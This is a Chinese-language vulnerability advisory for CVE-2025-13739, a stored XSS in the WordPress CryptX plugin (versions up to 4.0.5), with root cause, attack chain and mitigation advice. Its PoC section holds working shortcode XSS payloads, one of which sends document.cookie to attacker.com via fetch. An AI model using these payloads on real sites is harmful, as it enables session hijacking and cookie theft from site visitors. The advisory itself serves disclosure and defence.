IPBUF安全漏洞报告
English
CVE-2025-13739 CVSS 6.4 中危

CVE-2025-13739 WordPress CryptX插件存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-13739
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress CryptX plugin

相关标签

存储型XSSWordPress插件CryptX短代码注入CVE-2025-13739CVSS 6.4中危漏洞

漏洞概述

CVE-2025-13739是WordPress CryptX插件中的一个存储型跨站脚本(Stored XSS)漏洞。该插件是用于在WordPress网站上实现加密和混淆功能的插件。漏洞存在于插件的cryptx短代码(shortcode)中,由于对用户提供的属性参数缺乏足够的输入清理和输出转义,导致恶意脚本可以被存储到数据库中。当其他用户访问包含恶意代码的页面时,注入的JavaScript脚本会自动执行,可能导致会话劫持、敏感信息窃取、恶意重定向等安全问题。攻击者需要拥有WordPress贡献者(Contributor)级别或更高的用户权限即可利用此漏洞。由于存储型XSS的特性,恶意脚本会持久存在于页面中,影响所有访问该页面的用户。

技术细节

漏洞根源在于CryptX插件的CryptX.php文件中多个位置对用户输入处理不当。具体问题出现在classes/CryptX.php的第1295、149、237和604行附近,这些位置在处理cryptx短代码属性时未进行适当的HTML转义。攻击者可以通过在短代码属性中注入恶意JavaScript代码,如<a>标签配合onclick事件处理器。由于插件直接将该属性值输出到HTML页面而未进行转义,恶意代码会被浏览器解析执行。WordPress的shortcode机制会在页面渲染时自动解析[cryptx]短代码,使得存储的恶意脚本得以执行。漏洞影响版本为4.0.5及以下的所有版本,攻击者利用此漏洞可以窃取管理员cookie、提升权限或进行其他恶意操作。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress Contributor级别或更高权限的账户
STEP 2
步骤2
攻击者在文章或页面中插入包含恶意脚本的[cryptx]短代码
STEP 3
步骤3
由于插件未对href/onclick等属性进行输出转义,恶意脚本被存储到数据库
STEP 4
步骤4
管理员或普通用户访问包含恶意代码的页面
STEP 5
步骤5
浏览器解析HTML时执行注入的JavaScript,实现会话劫持或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS via cryptx shortcode --> [cryptx href='javascript:alert(document.domain)' onclick='alert(document.cookie)']Click Here[/cryptx] <!-- Alternative payload using data URI --> [cryptx href='data:text/html,<script>alert(String.fromCharCode(88,83,83))</script>']Malicious Link[/cryptx] <!-- Exfiltrate sensitive data --> [cryptx href='https://attacker.com/steal?c='+document.cookie onclick='fetch(this.href+document.cookie)']Click[/cryptx]

影响范围

CryptX plugin for WordPress <= 4.0.5

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时措施:1)在WordPress配置中禁用cryptx短代码功能;2)使用WordPress安全插件(如Wordfence)添加额外的输入过滤规则;3)限制Contributor级别用户的发布权限,仅允许管理员发布内容;4)定期审查所有包含[cryptx]短代码的文章页面,移除可疑内容。同时建议加强WordPress用户的密码策略和双因素认证,防止账户被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表